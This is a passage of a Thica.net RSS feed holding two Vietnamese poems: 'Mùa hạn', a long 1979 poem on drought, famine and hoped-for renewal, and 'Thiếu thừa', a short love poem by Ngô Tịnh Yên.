<p>Xứ khổ, thêm chi mùa thảm khốc<br />
Than ôi, trời đã bỏ rơi dân!<br />
Nắng kim khí chảy, đá rạn nứt<br />
Gió táp, rừng khô rụm, cát tràn</p>
<p>Sông hồ nẻ đáy, giếng vô vọng<br />
Muông thú điên lầm lũi bỏ đàn<br />
Dân làng lũ lượt kéo lên rú<br />
Lùng sục đào khoai củ đã khan</p>
<p>Côn trùng kiệt sức lìa hang ổ<br />
Lên chết thiêu trên mặt đất hừng<br />
Ác điểu ngày đêm gào xáo xác<br />
Cơ hồ cả thế giới lâm chung</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2018/09/15/mua-han/">Mùa hạn</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Ở đây, địa ngục chín tầng sâu<br />Cả giống nòi câm lặng gục đầu<br />Cắn chết hàm răng, ứa máu mắt<br />Chung xiềng nhưng chẳng dám nhìn nhau</p><p>Bước tới, chân không đè đá sắc<br />Vai trần chín rạn gánh oan khiên<br />Nước khe, cơm độn, thân tàn rạc<br />Sống chẳng khôn, cầu được thác thiêng</p><p>Xứ khổ, thêm chi mùa thảm khốc<br />Than ôi, trời đã bỏ rơi dân!<br />Nắng kim khí chảy, đá rạn nứt<br />Gió táp, rừng khô rụm, cát tràn</p><p>Sông hồ nẻ đáy, giếng vô vọng<br />Muông thú điên lầm lũi bỏ đàn<br />Dân làng lũ lượt kéo lên rú<br />Lùng sục đào khoai củ đã khan</p><p>Côn trùng kiệt sức lìa hang ổ<br />Lên chết thiêu trên mặt đất hừng<br />Ác điểu ngày đêm gào xáo xác<br />Cơ hồ cả thế giới lâm chung</p><p>Cây đa râu tóc già thiên cổ<br />Trụi lá, trơ cành, xương nám đen<br />Khiến lũ ma hoang hằng ẩn náu<br />Bỏ đi nhường chỗ cho chim kên</p><p>Cái chết tru rân giờ nguyệt tận…<br />Máu bung từ mỗi lỗ chân lông<br />Mọi người nghe chính mình kêu rú…<br />Liệu sáng mai còn ai nữa không?</p><p>Đám chủ mới, y trang xúng xính<br />Súng nghênh ngang, tiếng hét phàm phu<br />Xua trăm họ sá chi thân mạng<br />Lăn địa cầu ra khỏi lối xưa</p><p>Như tên phù thủy già điên loạn<br />Lịch sử lên cơn dữ bất thường<br />Treo ngược con đen trên lửa đỏ<br />Quật mồ thánh đế phi tang xương</p><p>Có gã hề cuồng ra giữa chợ<br />Hát ngao những đoạn sấm truyền xưa<br />Bao giờ trời nổi cơn nồm lớn<br />Minh chúa giong thuyền ra cố đô</p><p>Người mẹ trẻ buồn đôi mắt trũng<br />Thân gầy nhóm, tóc cháy, da cằn…<br />Địu con, một dúm thịt nhăn nhúm<br />Ra ruộng khê tìm mót cái ăn</p><p>Làng mạc giờ đây đã trống trơn…<br />Con dê, con chó cũng không còn<br />Người đi bỏ xác nơi bờ bụi<br />Miếu sạt, thần hoàng rũ héo hon</p><p>Ta khóc lẻ loi, cười một mình<br />Thu hình ẩn náu dưới tâm linh<br />Mắt chong kinh hãi đêm hư sử<br />Thân lõa lồ đau cháy khổ hình</p><p>Gõ lấy đầu mình như gõ cửa<br />Liên hồi kêu cứu giữa đêm khuya<br />Đầu ta như chiếc đầu lâu cổ<br />Tiếng rỗng không khô khốc não nề</p><p>Ta thương vô kể mầm cây lụi<br />Con suối trinh nguyên chết cạn lòng<br />Thương bậc hiền nhân về động đá<br />Quyên sinh. Từ đó, hạc bay không…</p><p>Còn ở đâu miền xanh bóng cây<br />Để ta đến đó ngồi trưa nay<br />Dường như hơi mát trong vòm lá<br />Có chất men làm ta thoảng say</p><p>Còn ở đâu làn nước giếng khơi<br />Để ta đến uống một hơi dài<br />Thỏa cơn khát nhớ như điên dại…<br />Nước giếng quê nhà mát ngọt thay!</p><p>Ở đâu còn ngọn suối thần tiên<br />Đã chảy đi từ tuổi dịu hiền<br />Dàn khúc trường ca xanh bất tận<br />Còn nghe vang vọng cuối trời quên</p><p>Ở đâu còn bóng chim huyền diệu<br />Hót gọi tiền thân ta tái sinh<br />Hót gọi vô vàn mơ ước cũ<br />Bay lên trời lớn, đọ mông mênh</p><p>Ở đâu còn cụm mây hư ảo<br />Bay tự ngàn năm trắng cổ thi<br />Tưởng tượng ta gom vào hiện kiếp<br />Trọn luân hồi ấy, một lần đi</p><p>Ở đâu còn trận gió thênh thang<br />Thổi mới trần gian mùa rộn ràng<br />Tiếng biển lời rừng nao nức giục<br />Ta về cho kịp độ xuân sang</p><p>Mùa hè, em bới tóc lên cao<br />Môi ửng son và má chớm đào<br />Ngày nghỉ về vườn thăm họ ngoại<br />Lòng như con sáo trong ca dao</p><p>Trời cẩm thạch ngời, bông mía trắng<br />Ngoài đồng dậy tiếng trẻ thơ reo<br />Con chuồn chuồn đó thong dong quá<br />Mùa hết, còn bay dõi dõi theo…</p><p>Em mặc bà ba ra bến nước<br />Đưa tay khỏa nhẹ nhớ thương nào<br />Đến nay, lòng ấy còn xao gợn…<br />Mùa trái cây nào hái tặng nhau</p><p>Đỏ mắt đăm đăm, ngày lại ngày…<br />Bao giờ mây sẽ chuyển về đây?<br />Bao giờ trời sẽ mưa như xối<br />Hạnh phúc chan hòa lên cỏ cây?</p><p>Bao giờ, cho đến bao giờ nữa<br />Em gánh vui về họp chợ đông<br />Lòng ngát như hoa còn kịp buổi<br />Áo chưa người giữ để xin buông?</p><p>Mưa ôm choàng đất khóc thương mong<br />Mưa báo tin vui chạy sáng đồng<br />Mưa đuổi bắt gào reo hớn hở<br />Mưa mừng trẩy hội nước trăm sông</p><p>Ông lão mù lòa ra trước hiên<br />Nghe mưa cũng ngước mắt nhìn lên<br />Má nhăn bỗng sáng hai hàng lệ…<br />Ông hiểu ra rồi lẽ biến thiên</p><p>Ta nghe cánh cửa lâu đời sập<br />Những xích xiềng han rỉ đứt tung<br />Sấm động một trời u uất vỡ<br />Muôn nghìn năm thế giới còn rung</p><p>Tất cả rồi đây sẽ đổi thay<br />Đổi thay từ quặng mỏ, mầm cây<br />Đổi thay cả mặt người tăm tối<br />Những bớt chàm xưa được xóa trôi</p><p>Ta nhặt từng trang sách rách toang<br />Đứa ngu đã xé vứt ra đường<br />Ta gom từng hạt cây luân lạc<br />Mong mỏi gầy lên một địa đàng</p><p>Đi nào, chú bé của ta ơi<br />Đem tấm lòng trang trải với đời<br />Yêu cả con sâu cùng cái kiến<br />Thả hồn vào cỏ lá bung phơi</p><p>Bao giờ ta trở về dương thế<br />Sống đáng vinh danh lại kiếp người<br />Để thấy đường đi muôn lối rộng<br />Dập dìu những chéo áo reo vui?</p><p>Quê ta đâu cũng là sông nước<br />Phơi phới triều lên bát ngát bờ<br />Cuốn tiếng đàn khuya trên bến bắc<br />Trải tình về lại lạch nguồn xưa</p><p>Biển khơi mở cửa như đêm tối<br />Cung hiến bao nhiêu mộng dị thường<br />Cho thấy cuộc đời sinh động mãi<br />Lòng người rộng ngợp mấy không gian</p><p>Đêm ta để cửa chong đèn đợi<br />Người khách xa nào sẽ đến đây?<br />Ta đợi vì nghe ngoài ngõ trúc<br />Có con chim khách kêu chiều nay</p><p>Đêm bạc hà thơm nghe cổ tích<br />Muôn sao trẻ nhỏ đùa rì rào<br />Trong vườn, cây cỏ dường linh hiển<br />Đã hiện thành người đi dưới sao</p><p>Dỗ cho ta giấc ngủ bình yên<br />Đêm tựa bàn tay rất đỗi hiền<br />Kéo tấm chăn thêu màu sặc sỡ<br />Đắp lên ta tuổi cũ hồn nhiên</p><p>Nhà ta biết có còn nguyên vẹn?<br />Tái hợp nào không nhuốm ngậm ngùi?<br />Người chết cũng xin tề tựu đủ<br />Tình dù u hiển chẳng đang nguôi</p><p>Nhóm lên bếp lửa đêm trừ tịch<br />Hát với nhau vài điệu hát vui<br />Nâng chén uống mừng ta sống sót…<br />Chợt nghe nồng lệ tự đâu rơi</p><p>Hy vọng lên từ đất dịu hòa<br />Con chim bay kiếm lại trời xa<br />Em về vườn cũ thăm cây trái<br />Gặp tuổi lưng chừng khóc giữa hoa</p><p>Lòng ta nay vẫn lòng ta trước<br />Vẫn chảy về con nước thuở nào<br />Sợi tóc mai kia dù có rụng<br />Ba sinh còn để nhớ cho nhau</p><p>Đất trời không có chi còn mất<br />Ta bước ra thân đón tuổi già<br />Trước mắt, ta còn trăm thứ việc:<br />Sửa nhà, chăm sóc lại vườn hoa…</p><p>Những ai hôm trước từng gây tội<br />Hãy lắng tâm tha lấy lỗi mình<br />Tự tại, thời gian chôn chính nó<br />Đời lên lại mãi tựa bình minh</p><p>Sẽ lo chẳng những cho người sống<br />Lo cả cho người khuất mặt kia<br />Quen lạ bạn thù chung giấc ngủ<br />Chung lời thương tiếc khóc trên bia</p><p>Con ta giờ đã làm cha mẹ<br />Lớp lớp truyền lưu máu một dòng<br />Không cạn nguồn tình thiên bẩm ấy<br />Đời đời nhân loại sống như sông</p><p>Nghe này ba tiếng gõ sân khấu<br />Màn mở, người tham dự đứng lên…<br />Thế giới, hãy còn thơ trẻ nhé<br />Bắt đầu câu chuyện lớn thần tiên</p><p>Nghệ Tĩnh, 1979</p><p>The post <a href="https://www.thica.net/2018/09/15/mua-han/">Mùa hạn</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2018/09/15/mua-han/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">17407</post-id>	</item>
		<item>
		<title>Thiếu thừa</title>
		<link>https://www.thica.net/2018/08/09/thieu-thua/</link>
		<comments>https://www.thica.net/2018/08/09/thieu-thua/#respond</comments>
		<pubDate>Thu, 09 Aug 2018 00:07:16 +0000</pubDate>
		<dc:creator><![CDATA[Ngô Tịnh Yên]]></dc:creator>
				<category><![CDATA[Ngô Tịnh Yên]]></category>
		<category><![CDATA[Cuộc đời]]></category>
		<category><![CDATA[Mưa]]></category>
		<category><![CDATA[Nắng]]></category>
		<category><![CDATA[Phố]]></category>
		<category><![CDATA[Tình yêu]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=17366</guid>
		<description><![CDATA[<p>Thiếu gì nắng — thiếu gì mưa<br />
thiếu nhau lại thấy rất thừa thời gian</p>
<p>Thiếu chi gió — thiếu chi trăng<br />
thiếu đôi mình thấy trần gian không hồn</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2018/08/09/thieu-thua/">Thiếu thừa</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Thiếu gì nắng — thiếu gì mưa<br />thiếu nhau lại thấy rất thừa thời gian</p><p>Thiếu chi gió — thiếu chi trăng<br />thiếu đôi mình thấy trần gian không hồn</p><p>Thiếu gì vui – thiếu gì buồn<br />chỉ thừa hơi ấm chiếu giường dửng dưng</p><p>Thiếu chi biển – thiếu chi rừng<br />chỉ thừa phố xá lạ lùng không quen</p><p>Thiếu gì bạc – thiếu chi tiền<br />thiếu một người cũng thừa thiên hạ nhiều</p><p>Thiếu gì&#8230; người ghét, người yêu<br />tấm lòng chân thật bao nhiêu mới thừa?</p><p>The post <a href="https://www.thica.net/2018/08/09/thieu-thua/">Thiếu thừa</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2018/08/09/thieu-thua/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">17366</post-id>	</item>
	</channel>
</rss>
